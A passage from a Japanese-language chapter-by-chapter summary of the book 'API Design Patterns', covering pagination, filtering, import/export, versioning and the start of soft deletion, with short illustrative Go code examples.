クライアントが要求する最大ページサイズnextPageToken: サーバーが返す次のページのトークンこれらの要素を組み合わせることで、APIは大規模なデータセットを効率的に管理し、クライアントに段階的に提供することができます。ページネーションの実装著者は、ページネーションの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。最大ページサイズ vs 正確なページサイズ: 著者は、正確なページサイズではなく最大ページサイズを使用することを推奨しています。これにより、サーバーは要求されたサイズよりも小さいページを返すことができ、パフォーマンスと効率性が向上します。ページトークンの不透明性: ページトークンは、クライアントにとって意味を持たない不透明な文字列であるべきです。これにより、サーバー側で実装の詳細を変更する柔軟性が確保されます。一貫性の確保: ページネーション中にデータが変更される可能性があるため、完全な一貫性を保証することは難しい場合があります。著者は、この制限を明確に文書化することを推奨しています。ページトークンの有効期限: ページトークンに有効期限を設定することで、リソースの効率的な管理が可能になります。これらの原則を適用した、Golangでのページネーションの実装例を以下に示します。type ListResourcesRequest struct { PageToken string `json:\\"pageToken\\"` MaxPageSize int `json:\\"maxPageSize\\"`}type ListResourcesResponse struct { Resources []*Resource `json:\\"resources\\"` NextPageToken string `json:\\"nextPageToken\\"`}func (s *Service) ListResources(ctx context.Context, req *ListResourcesRequest) (*ListResourcesResponse, error) { // ページトークンのデコードと検証 offset, err := decodePageToken(req.PageToken) if err != nil { return nil, err } // リソースの取得 limit := min(req.MaxPageSize, 100) // 最大100件に制限 resources, err := s.repository.GetResources(ctx, offset, limit+1) if err != nil { return nil, err } // 次のページトークンの生成 var nextPageToken string if len(resources) > limit { nextPageToken = encodePageToken(offset + limit) resources = resources[:limit] } return &ListResourcesResponse{ Resources: resources, NextPageToken: nextPageToken, }, nil}この実装例では、ページトークンを使用してオフセットを管理し、最大ページサイズを制限しています。また、次のページがあるかどうかを判断するために、要求された制限よりも1つ多くのリソースを取得しています。ページネーションの影響とトレードオフ著者は、ページネーションの導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: ページネーションは、大規模なデータセットを扱う際のパフォーマンスを大幅に向上させます。しかし、適切に実装されていない場合(例:オフセットベースのページネーション)、データベースへの負荷が増大する可能性があります。一貫性と可用性のバランス: 完全な一貫性を保証しようとすると、システムの可用性が低下する可能性があります。著者は、このトレードオフを明確に理解し、適切なバランスを取ることの重要性を強調しています。クライアント側の複雑性: ページネーションは、クライアント側の実装を複雑にする可能性があります。特に、全データを取得する必要がある場合、クライアントは複数のリクエストを管理する必要があります。キャッシュ戦略: ページネーションは、キャッシュ戦略に影響を与えます。各ページを個別にキャッシュする必要があり、データの更新頻度によってはキャッシュの有効性が低下する可能性があります。これらの影響とトレードオフを考慮しながら、ページネーションの実装を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: ページネーションは、マイクロサービス間でのデータ転送を最適化する上で重要な役割を果たします。各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化することで、システム全体のパフォーマンスが向上します。イベント駆動アーキテクチャとの連携: ページネーションは、イベントストリームの処理にも応用できます。大量のイベントを処理する際に、ページネーションを使用することで、消費者が管理可能なチャンクでイベントを処理できるようになります。データの一貫性と鮮度: ページネーション中にデータが変更される可能性があるため、データの一貫性と鮮度のバランスを取る必要があります。特に、リアルタイム性が求められるシステムでは、この点に注意が必要です。クエリパフォーマンスの最適化: ページネーションの実装方法によっては、データベースへの負荷が増大する可能性があります。特に、オフセットベースのページネーションは大規模なデータセットで問題が発生する可能性があります。カーソルベースのページネーションなど、より効率的な方法を検討する必要があります。レスポンスタイムの一貫性: ページサイズを固定することで、各リクエストのレスポンスタイムをより一貫したものにすることができます。これは、システムの予測可能性と信頼性を向上させる上で重要です。エラー処理とリトライ戦略: ページネーションを使用する際は、ネットワークエラーやタイムアウトに対する適切なエラー処理とリトライ戦略が重要になります。特に、長時間にわたるデータ取得プロセスでは、この点に注意が必要です。モニタリングと可観測性: ページネーションの使用パターンを監視することで、システムの使用状況やボトルネックを特定することができます。例えば、特定のページサイズやフィルタ条件が頻繁に使用されている場合、それらに対して最適化を行うことができます。ページネーションと全体的なシステムアーキテクチャページネーションの設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとインデックス設計: 効率的なページネーションを実現するためには、適切なデータモデルとインデックス設計が不可欠です。特に、大規模なデータセットを扱う場合、この点が重要になります。キャッシュ戦略: ページネーションを使用する場合、各ページを個別にキャッシュする必要があります。これにより、キャッシュ戦略が複雑になる可能性があります。特に、データの更新頻度が高い場合、キャッシュの有効性が低下する可能性があります。負荷分散とスケーリング: ページネーションを使用することで、システムの負荷をより均等に分散させることができます。これにより、システムのスケーラビリティが向上します。バックエンドサービスの設計: ページネーションを効率的に実装するためには、バックエンドサービスの設計を適切に行う必要があります。特に、データベースクエリの最適化や、ページトークンの生成と管理が重要になります。API設計の一貫性: ページネーションの設計は、API全体の設計と一貫性を保つ必要があります。例えば、ページネーションパラメータの命名規則や、レスポンス形式などを統一することが重要です。結論第21章「Pagination」は、APIにおけるページネーションの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの使いやすさ、効率性、そして全体的なシステムのスケーラビリティを大きく向上させる可能性があります。特に重要な点は以下の通りです。ページネーションは、大規模なデータセットを扱う際に不可欠な機能です。最大ページサイズを使用し、正確なページサイズを保証しないことで、システムの柔軟性と効率性が向上します。ページトークンは不透明であるべきで、クライアントはその内容を理解したり操作したりする必要はありません。データの一貫性と可用性のバランスを取ることが重要です。完全な一貫性を保証することは難しい場合があり、この制限を明確に文書化する必要があります。ページネーションの設計は、システム全体のアーキテクチャ、パフォーマンス、スケーラビリティに大きな影響を与えます。これらの原則を適切に適用することで、開発者は使いやすく、効率的で、スケーラブルなAPIを設計することができます。特に、大規模なデータセットを扱う場合や、リソースが制限されている環境(モバイルアプリケーションなど)でのAPIの使用を想定している場合、ページネーションは極めて重要な役割を果たします。しかし、ページネーションの導入には慎重な検討も必要です。特に、データの一貫性、クライアント側の複雑性、キャッシュ戦略などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、ページネーションの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。ページネーションの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。22 Filtering「API Design Patterns」の第22章「Filtering」は、APIにおけるフィルタリング機能の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はフィルタリングが単なる便利な機能ではなく、APIの効率性、使いやすさ、そして全体的なシステムのパフォーマンスにどのように影響を与えるかを明確に示しています。フィルタリングの必要性と概要著者は、標準的なリスト操作だけでは特定の条件に合致するリソースのみを取得することが困難であるという問題提起から議論を始めています。大規模なデータセットを扱う現代のシステムにおいて、クライアントが全てのリソースを取得してから必要なデータをフィルタリングするというアプローチは、非効率的であり、システムリソースの無駄遣いにつながります。この問題は、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において顕著です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。サーバーサイドでのフィルタリングは、このような環境でのデータ転送を最適化し、システム全体のパフォーマンスと応答性を向上させる重要な手段となります。著者は、フィルタリングの基本的な実装として、標準的なリストリクエストにfilterフィールドを追加することを提案しています。このフィールドを通じて、クライアントは必要なデータの条件を指定し、サーバーはその条件に合致するリソースのみを返すことができます。フィルタリングの実装著者は、フィルタリングの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。フィルター表現の構造: 著者は、構造化されたフィルター(例:JSONオブジェクト)ではなく、文字列ベースのフィルター表現を推奨しています。これにより、APIの柔軟性が向上し、将来的な拡張が容易になります。実行時間の考慮: フィルター式の評価は、単一のリソースのコンテキスト内で完結すべきであり、外部データソースへのアクセスや複雑な計算を含むべきではありません。これにより、フィルタリング操作の予測可能性と効率性が確保されます。配列要素のアドレス指定: 著者は、配列内の特定の位置の要素を参照するフィルタリングを避け、代わりに配列内の要素の存在をチェックするアプローチを推奨しています。これにより、データの順序に依存しない柔軟なフィルタリングが可能になります。厳格性: フィルター式の解釈は厳格であるべきで、あいまいな表現や型の不一致は許容せず、エラーとして扱うべきです。これにより、フィルタリングの信頼性と予測可能性が向上します。カスタム関数: 基本的なフィルタリング機能では不十分な場合に備えて、カスタム関数の導入を提案しています。これにより、複雑なフィルタリング要件にも対応できます。これらの原則を適用した、Golangでのフィルタリング実装の例を以下に示します。type ListResourcesRequest struct { Filter string `json:\\"filter\\"` MaxPageSize int `json:\\"maxPageSize\\"` PageToken string `json:\\"pageToken\\"`}func (s *Service) ListResources(ctx context.Context, req *ListResourcesRequest) (*ListResourcesResponse, error) { filter, err := parseFilter(req.Filter) if err != nil { return nil, fmt.Errorf(\\"invalid filter: %w\\", err) } resources, err := s.repository.GetResources(ctx) if err != nil { return nil, err } var filteredResources []*Resource for _, resource := range resources { if filter.Evaluate(resource) { filteredResources = append(filteredResources, resource) } } // ページネーションの処理 // ... return &ListResourcesResponse{ Resources: filteredResources, NextPageToken: nextPageToken, }, nil}この実装例では、フィルター文字列をパースし、各リソースに対して評価関数を適用しています。フィルターの解析と評価は厳格に行われ、無効なフィルターや型の不一致はエラーとして扱われます。フィルタリングの影響とトレードオフ著者は、フィルタリング機能の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: サーバーサイドでのフィルタリングは、ネットワーク帯域幅の使用を最適化し、クライアントの処理負荷を軽減します。しかし、複雑なフィルター式の評価はサーバーリソースを消費する可能性があります。柔軟性と複雑性のバランス: 文字列ベースのフィルター表現は高い柔軟性を提供しますが、解析と評価の複雑さが増加します。これは、エラーハンドリングとセキュリティの観点から慎重に管理する必要があります。一貫性と可用性: フィルタリング結果の一貫性を保証することは、特に分散システムにおいて課題となります。データの更新とフィルタリング操作のタイミングによっては、結果が異なる可能性があります。セキュリティの考慮: フィルター式の評価は、潜在的なセキュリティリスクを伴います。インジェクション攻撃や過度に複雑なクエリによるDoS攻撃の可能性に注意する必要があります。これらのトレードオフを適切に管理することが、フィルタリング機能の成功的な実装の鍵となります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: フィルタリングはマイクロサービス間のデータ交換を最適化する上で重要な役割を果たします。各サービスが必要最小限のデータのみを要求・提供することで、システム全体の効率性が向上します。クエリ最適化: フィルタリング機能は、データベースクエリの最適化と密接に関連しています。効率的なインデックス設計やクエリプランの最適化が、フィルタリングのパフォーマンスに大きな影響を与えます。キャッシュ戦略: フィルタリング結果のキャッシングは、システムのパフォーマンスを大幅に向上させる可能性があります。しかし、キャッシュの有効性とデータの鮮度のバランスを取ることが課題となります。バージョニングと後方互換性: フィルター構文の進化は、APIのバージョニング戦略に影響を与えます。新機能の追加や変更が既存のクライアントに影響を与えないよう、慎重に管理する必要があります。モニタリングと可観測性: フィルタリング操作のパフォーマンスと使用パターンを監視することで、システムの最適化機会を特定できます。例えば、頻繁に使用されるフィルターパターンに対して特別な最適化を行うことが可能になります。フィルタリングとシステムアーキテクチャフィルタリング機能の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: 効率的なフィルタリングを実現するためには、適切なデータモデルとスキーマ設計が不可欠です。フィルタリングが頻繁に行われるフィールドに対しては、適切なインデックスを設定する必要があります。分散システムにおけるフィルタリング: マイクロサービスアーキテクチャにおいて、フィルタリングはしばしば複数のサービスにまたがって行われる必要があります。このような場合、フィルタリングロジックの配置と実行方法を慎重に設計する必要があります。リアルタイムシステムとの統合: ストリーミングデータや実時間性の高いシステムにおいて、フィルタリングはより複雑になります。データの到着と処理のタイミングを考慮したフィルタリング戦略が必要となります。セキュリティアーキテクチャ: フィルタリング機能は、データアクセス制御と密接に関連しています。ユーザーの権限に基づいて、フィルタリング可能なデータの範囲を制限する必要があります。エラー処理とレジリエンス: フィルタリング操作の失敗がシステム全体に与える影響を最小限に抑えるため、適切なエラー処理とフォールバック機構を実装する必要があります。結論第22章「Filtering」は、APIにおけるフィルタリング機能の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの使いやすさ、効率性、そして全体的なシステムのパフォーマンスを大きく向上させる可能性があります。特に重要な点は以下の通りです。フィルタリングは、大規模なデータセットを扱う現代のシステムにおいて不可欠な機能です。文字列ベースのフィルター表現を使用することで、APIの柔軟性と拡張性が向上します。フィルター式の評価は、単一のリソースのコンテキスト内で完結し、外部データソースへのアクセスを避けるべきです。フィルター式の解釈は厳格であるべきで、あいまいな表現や型の不一致はエラーとして扱うべきです。カスタム関数の導入により、複雑なフィルタリング要件にも対応できます。これらの原則を適切に適用することで、開発者は使いやすく、効率的で、スケーラブルなAPIを設計することができます。特に、大規模なデータセットを扱う場合や、リソースが制限されている環境(モバイルアプリケーションなど)でのAPIの使用を想定している場合、適切なフィルタリング機能の実装は極めて重要です。しかし、フィルタリング機能の導入には慎重な検討も必要です。特に、パフォーマンス、セキュリティ、データの一貫性などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、フィルタリング機能の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。フィルタリング機能の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。23 Importing and exporting「API Design Patterns」の第23章「Importing and exporting」は、APIにおけるデータのインポートとエクスポートの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はインポートとエクスポート機能が単なるデータ移動の手段ではなく、APIの効率性、柔軟性、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。インポートとエクスポートの必要性と概要著者は、大規模なデータセットを扱う現代のシステムにおいて、効率的なデータの移動が不可欠であるという問題提起から議論を始めています。従来のアプローチでは、クライアントアプリケーションがAPIからデータを取得し、それを外部ストレージに保存する(またはその逆)という方法が一般的でした。しかし、このアプローチには大きな問題があります。特に、データがAPIサーバーとストレージシステムの近くに位置しているにもかかわらず、クライアントアプリケーションが遠隔地にある場合、大量のデータ転送が必要となり、効率が著しく低下します。著者は、この問題を解決するために、APIサーバーが直接外部ストレージシステムとやり取りするカスタムメソッドを導入することを提案しています。具体的には、importとexportという2つのカスタムメソッドです。これらのメソッドは、データの転送だけでなく、APIリソースとバイトデータ間の変換も担当します。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。インポート/エクスポート機能を適切に設計することで、サービス間のデータ移動を最適化し、システム全体のパフォーマンスと応答性を向上させることができます。インポートとエクスポートの実装著者は、インポートとエクスポートの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。構造の分離: 著者は、データの転送と変換を別々の設定インターフェースで管理することを提案しています。具体的には、DataSource/DataDestinationインターフェースでデータの移動を、InputConfig/OutputConfigインターフェースでデータの変換を管理します。この分離により、システムの柔軟性と再利用性が大幅に向上します。長時間実行操作(LRO): インポートとエクスポート操作は時間がかかる可能性があるため、著者はこれらの操作をLROとして実装することを推奨しています。これにより、クライアントは操作の進行状況を追跡し、完了を待つことができます。一貫性の考慮: エクスポート操作中にデータが変更される可能性があるため、著者はデータの一貫性について慎重に検討しています。完全な一貫性を保証できない場合、「スメア」(一時的な不整合)が発生する可能性があることを明確に示しています。識別子の扱い: インポート時に識別子をどのように扱うかについて、著者は慎重なアプローチを提案しています。特に、既存のリソースとの衝突を避けるため、インポート時に新しい識別子を生成することを推奨しています。失敗とリトライの処理: インポートとエクスポート操作の失敗とリトライについて、著者は詳細なガイダンスを提供しています。特に、インポート操作のリトライ時に重複リソースが作成されないよう、importRequestIdの使用を提案しています。これらの原則を適用した、Golangでのインポート/エクスポート機能の実装例を以下に示します。type ImportExportService struct { // サービスの依存関係}func (s *ImportExportService) ExportResources(ctx context.Context, req *ExportRequest) (*longrunning.Operation, error) { op := &longrunning.Operation{ Name: fmt.Sprintf(\\"operations/export_%s\\", uuid.New().String()), } go s.runExport(ctx, req, op) return op, nil}func (s *ImportExportService) runExport(ctx context.Context, req *ExportRequest, op *longrunning.Operation) { // エクスポートロジックの実装 // 1. リソースの取得 // 2. データの変換(OutputConfigに基づく) // 3. 外部ストレージへの書き込み(DataDestinationに基づく) // 4. 進捗の更新}func (s *ImportExportService) ImportResources(ctx context.Context, req *ImportRequest) (*longrunning.Operation, error) { op := &longrunning.Operation{ Name: fmt.Sprintf(\\"operations/import_%s\\", uuid.New().String()), } go s.runImport(ctx, req, op) return op, nil}func (s *ImportExportService) runImport(ctx context.Context, req *ImportRequest, op *longrunning.Operation) { // インポートロジックの実装 // 1. 外部ストレージからのデータ読み取り(DataSourceに基づく) // 2. データの変換(InputConfigに基づく) // 3. リソースの作成(importRequestIdを使用して重複を防ぐ) // 4. 進捗の更新}この実装例では、インポートとエクスポート操作を非同期で実行し、LROを通じて進捗を追跡できるようにしています。また、データの転送と変換を分離し、柔軟性を確保しています。インポートとエクスポートの影響とトレードオフ著者は、インポート/エクスポート機能の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: APIサーバーが直接外部ストレージとやり取りすることで、データ転送の効率が大幅に向上します。しかし、これはAPIサーバーの負荷を増加させる可能性があります。一貫性と可用性のバランス: エクスポート中のデータ一貫性を保証することは難しく、「スメア」が発生する可能性があります。完全な一貫性を求めると、システムの可用性が低下する可能性があります。セキュリティの考慮: APIサーバーが外部ストレージに直接アクセスすることで、新たなセキュリティ上の課題が生じる可能性があります。適切なアクセス制御と認証メカニズムが不可欠です。運用の複雑さ: インポート/エクスポート機能の導入により、システムの運用が複雑になる可能性があります。特に、失敗したオぺレーションの処理とリカバリーには注意が必要です。バックアップ/リストアとの違い: 著者は、インポート/エクスポート機能がバックアップ/リストア機能とは異なることを強調しています。この違いを理解し、適切に使い分けることが重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: インポート/エクスポート機能は、マイクロサービス間のデータ移動を最適化する上で重要な役割を果たします。各サービスが独自のインポート/エクスポート機能を持つことで、サービス間のデータ交換が効率化されます。クラウドネイティブ環境での活用: クラウドストレージサービス(例:Amazon S3、Google Cloud Storage)との直接統合により、データの移動と処理を効率化できます。大規模データ処理: ビッグデータ分析や機械学習のためのデータ準備において、効率的なインポート/エクスポート機能は不可欠です。コンプライアンスとデータガバナンス: データのインポート/エクスポート操作をAPIレベルで制御することで、データの流れを一元管理し、コンプライアンス要件への対応を容易にします。障害復旧とシステム移行: 適切に設計されたインポート/エクスポート機能は、災害復旧やシステム移行シナリオにおいても有用です。結論第23章「Importing and exporting」は、APIにおけるデータのインポートとエクスポートの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、柔軟性、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。インポート/エクスポート機能は、APIサーバーと外部ストレージ間の直接的なデータ移動を可能にし、効率を大幅に向上させます。データの転送(DataSource/DataDestination)と変換(InputConfig/OutputConfig)を分離することで、システムの柔軟性と再利用性が向上します。長時間実行操作(LRO)として実装することで、クライアントは非同期で操作の進行状況を追跡できます。データの一貫性、識別子の扱い、失敗とリトライの処理には特別な注意が必要です。インポート/エクスポート機能はバックアップ/リストア機能とは異なることを理解し、適切に使い分けることが重要です。これらの原則を適切に適用することで、開発者は効率的で柔軟性の高いAPIを設計することができます。特に、大規模なデータセットを扱う場合や、複雑なマイクロサービスアーキテクチャを採用している場合、適切なインポート/エクスポート機能の実装は極めて重要です。しかし、この機能の導入には慎重な検討も必要です。特に、セキュリティ、データの一貫性、システムの複雑性の増加などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、インポート/エクスポート機能の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にデータ移動の効率を向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切に設計されたインポート/エクスポート機能は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。Part 6 Safety and security最後のパートでは、APIの安全性とセキュリティに関する重要なトピックが扱われています。バージョニングと互換性の維持、ソフト削除、リクエストの重複排除、リクエストの検証、リソースのリビジョン管理、リクエストの再試行、リクエストの認証など、APIの信頼性と安全性を確保するための様々な手法が詳細に解説されています。これらの要素は、APIの長期的な運用と進化において極めて重要です。24 Versioning and compatibility「API Design Patterns」の第24章「Versioning and compatibility」は、APIのバージョニングと互換性の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はバージョニングと互換性の管理が単なる技術的な詳細ではなく、APIの長期的な成功と進化に直接影響を与える重要な戦略的決定であることを明確に示しています。バージョニングの必要性と互換性の概念著者は、ソフトウェア開発、特にAPIの進化が避けられない現実から議論を始めています。新機能の追加、バグの修正、セキュリティの向上など、APIを変更する理由は常に存在します。しかし、APIはその公開性と厳格性ゆえに、変更が難しいという特性を持っています。この緊張関係を解決するための主要な手段として、著者はバージョニングを提案しています。バージョニングの本質は、APIの変更を管理可能な形で導入し、既存のクライアントに影響を与えることなく新機能を提供することです。著者は、バージョニングの主な目的を「ユーザーに可能な限り多くの機能を提供しつつ、最小限の不便さで済ませること」と定義しています。この定義は、APIデザインにおける重要な指針となります。互換性の概念についても詳細に説明されています。著者は、互換性を「2つの異なるコンポーネントが正常に通信できる能力」と定義しています。APIのコンテキストでは、これは主にクライアントとサーバー間の通信を指します。特に、後方互換性(新しいバージョンのAPIが古いクライアントコードと正常に動作する能力)が重要です。この概念は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが互いに依存し合う環境では、一つのAPIの変更が全体のシステムに波及的な影響を与える可能性があります。適切なバージョニング戦略は、このような環境でのシステムの安定性と進化を両立させるために不可欠です。後方互換性の定義著者は、後方互換性の定義が単純ではないことを指摘しています。一見すると「既存のコードが壊れないこと」という定義で十分に思えますが、実際にはより複雑です。著者は、後方互換性の定義が「APIを利用するユーザーのプロファイルと期待」に大きく依存すると主張しています。例えば、新しい機能の追加は通常後方互換性があると考えられますが、リソースが制限されているIoTデバイスのような環境では、新しいフィールドの追加でさえメモリオーバーフローを引き起こす可能性があります。また、バグ修正についても、それが既存のクライアントの動作に影響を与える可能性がある場合、後方互換性を損なう可能性があります。著者は、以下のようなシナリオについて詳細に議論しています。新機能の追加バグ修正法的要件による強制的な変更パフォーマンスの最適化基礎となるアルゴリズムや技術の変更一般的な意味的変更これらの各シナリオにおいて、変更が後方互換性を持つかどうかは、APIのユーザーベースの特性と期待に大きく依存します。例えば、金融機関向けのAPIと、スタートアップ向けのAPIでは、安定性と新機能に対する要求が大きく異なる可能性があります。この議論は、APIデザインが単なる技術的な問題ではなく、ビジネス戦略と密接に関連していることを示しています。APIデザイナーは、技術的な側面だけでなく、ユーザーのニーズ、ビジネス目標、法的要件などを総合的に考慮してバージョニング戦略を決定する必要があります。バージョニング戦略著者は、いくつかの主要なバージョニング戦略について詳細に説明しています。永続的安定性(Perpetual stability): 各バージョンを永続的に安定させ、後方互換性のない変更は常に新しいバージョンで導入する戦略。アジャイル不安定性(Agile instability): アクティブなバージョンの「滑走窓」を維持し、定期的に古いバージョンを廃止する戦略。セマンティックバージョニング(Semantic versioning): メジャー、マイナー、パッチの3つの数字を使用して変更の性質を明確に示す戦略。各戦略には、それぞれ長所と短所があります。例えば、永続的安定性は高い安定性を提供しますが、新機能の導入が遅くなる可能性があります。一方、アジャイル不安定性は新機能の迅速な導入を可能にしますが、クライアントに頻繁な更新を強いる可能性があります。セマンティックバージョニングは柔軟性と明確性を提供しますが、多数のバージョンの管理が必要になる可能性があります。これらの戦略の選択は、APIのユースケース、ユーザーベース、開発リソース、ビジネス目標など、多くの要因に依存します。例えば、マイクロサービスアーキテクチャを採用している組織では、各サービスが独立してバージョニングを行う必要がありますが、全体的な一貫性も維持する必要があります。このような環境では、セマンティックバージョニングが適している可能性が高いです。Golangのコンテキストでは、以下のようなバージョニング戦略の実装例が考えられます。type APIVersion struct { Major int Minor int Patch int}type APIClient struct { Version APIVersion // その他のクライアント設定}func (c *APIClient) Call(endpoint string, params map[string]interface{}) (interface{}, error) { // バージョンに基づいてAPIコールを調整 if c.Version.Major == 1 { // v1のロジック } else if c.Version.Major == 2 { // v2のロジック } else { return nil, fmt.Errorf(\\"unsupported API version: %v\\", c.Version) } // 実際のAPI呼び出しロジック}このような実装により、クライアントは特定のAPIバージョンを指定して操作を行うことができ、サーバー側では各バージョンに応じた適切な処理を行うことができます。バージョニングのトレードオフ著者は、バージョニング戦略を選択する際の主要なトレードオフについて議論しています。粒度 vs 単純性: より細かいバージョン管理は柔軟性を提供しますが、複雑さも増加します。安定性 vs 新機能: 高い安定性を維持するか、新機能を迅速に導入するかのバランス。満足度 vs 普遍性: 一部のユーザーを非常に満足させるか、より多くのユーザーに受け入れられる方針を取るか。これらのトレードオフは、APIの設計と進化に大きな影響を与えます。例えば、高度に規制された産業向けのAPIでは、安定性と予測可能性が最も重要かもしれません。一方、急速に進化するテクノロジー分野では、新機能の迅速な導入が優先されるかもしれません。運用の観点からは、これらのトレードオフは以下のような影響を持ちます。インフラストラクチャの複雑さ: 多数のバージョンを同時にサポートする必要がある場合、インフラストラクチャの管理が複雑になります。モニタリングと可観測性: 各バージョンの使用状況、パフォーマンス、エラーレートを個別に監視する必要があります。デプロイメントの戦略: 新バージョンのロールアウトと古いバージョンの段階的な廃止をどのように管理するか。ドキュメンテーションとサポート: 各バージョンのドキュメントを維持し、サポートを提供する必要があります。結論第24章「Versioning and compatibility」は、APIのバージョニングと互換性管理の重要性と、その適切な実装方法を明確に示しています。著者の提案する原則は、APIの長期的な成功と進化を確保する上で非常に重要です。特に重要な点は以下の通りです。バージョニングは、APIの進化を可能にしつつ、既存のクライアントへの影響を最小限に抑えるための重要なツールです。後方互換性の定義は、APIのユーザーベースと彼らの期待に大きく依存します。バージョニング戦略の選択には、粒度vs単純性、安定性vs新機能、満足度vs普遍性などのトレードオフがあります。適切なバージョニング戦略は、APIの使用目的、ユーザーベース、開発リソース、ビジネス目標など、多くの要因を考慮して選択する必要があります。バージョニングはAPIの設計だけでなく、インフラストラクチャ、運用、サポートなど、システム全体に影響を与えます。これらの原則を適切に適用することで、開発者は長期的に持続可能で進化可能なAPIを設計することができます。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境では、適切なバージョニング戦略が全体的なシステムの安定性と進化可能性を確保する上で極めて重要です。バージョニングと互換性の管理は、技術的な問題であると同時に、戦略的な決定でもあります。API設計者は、技術的な側面だけでなく、ビジネス目標、ユーザーのニーズ、法的要件、運用上の制約など、多くの要因を考慮してバージョニング戦略を決定する必要があります。適切に実装されたバージョニング戦略は、APIの長期的な成功と、それに依存するシステム全体の安定性と進化可能性を確保する重要な基盤となります。最後に、バージョニングと互換性の管理は継続的なプロセスであることを認識することが重要です。技術の進化、ユーザーのニーズの変化、新たな法的要件の出現などに応じて、バージョニング戦略を定期的に見直し、必要に応じて調整することが求められます。この継続的な管理と適応が、APIの長期的な成功と、それに依存するシステム全体の健全性を確保する鍵となります。25 Soft deletion「API Design Patterns」の第25章「Soft deletion」は、APIにおけるソフト削除の概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はソフト削除が単なるデータ管理の手法ではなく、APIの柔軟性、データの保全性、そして全体的なシステムの運用性にどのように影響を与えるかを明確に示しています。ソフト削除の動機と概要著者は、ソフト削除の必要性から議論を始めています。従来のハード削除(データの完全な削除)には、誤って削除されたデータを復元できないという重大な欠点があります。著者は、この問題に対する解決策としてソフト削除を提案しています。ソフト削除は、データを実際に削除せず、「削除された」とマークすることで、必要に応じて後で復元できるようにする手法です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが相互に依存し合う環境では、一つのサービスでデータが誤って削除されると、システム全体に波及的な影響を与える可能性があります。ソフト削除を適切に実装することで、このようなリスクを軽減し、システムの回復力を高めることができます。著者は、ソフト削除の基本的な実装として、リソースに deleted フラグを追加することを提案しています。このフラグにより、リソースが削除されたかどうかを示すことができます。さらに、expireTime フィールドを追加することで、ソフト削除されたリソースの自動的な完全削除(ハード削除)のスケジューリングも可能になります。ソフト削除の実装著者は、ソフト削除の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。標準メソッドの修正: 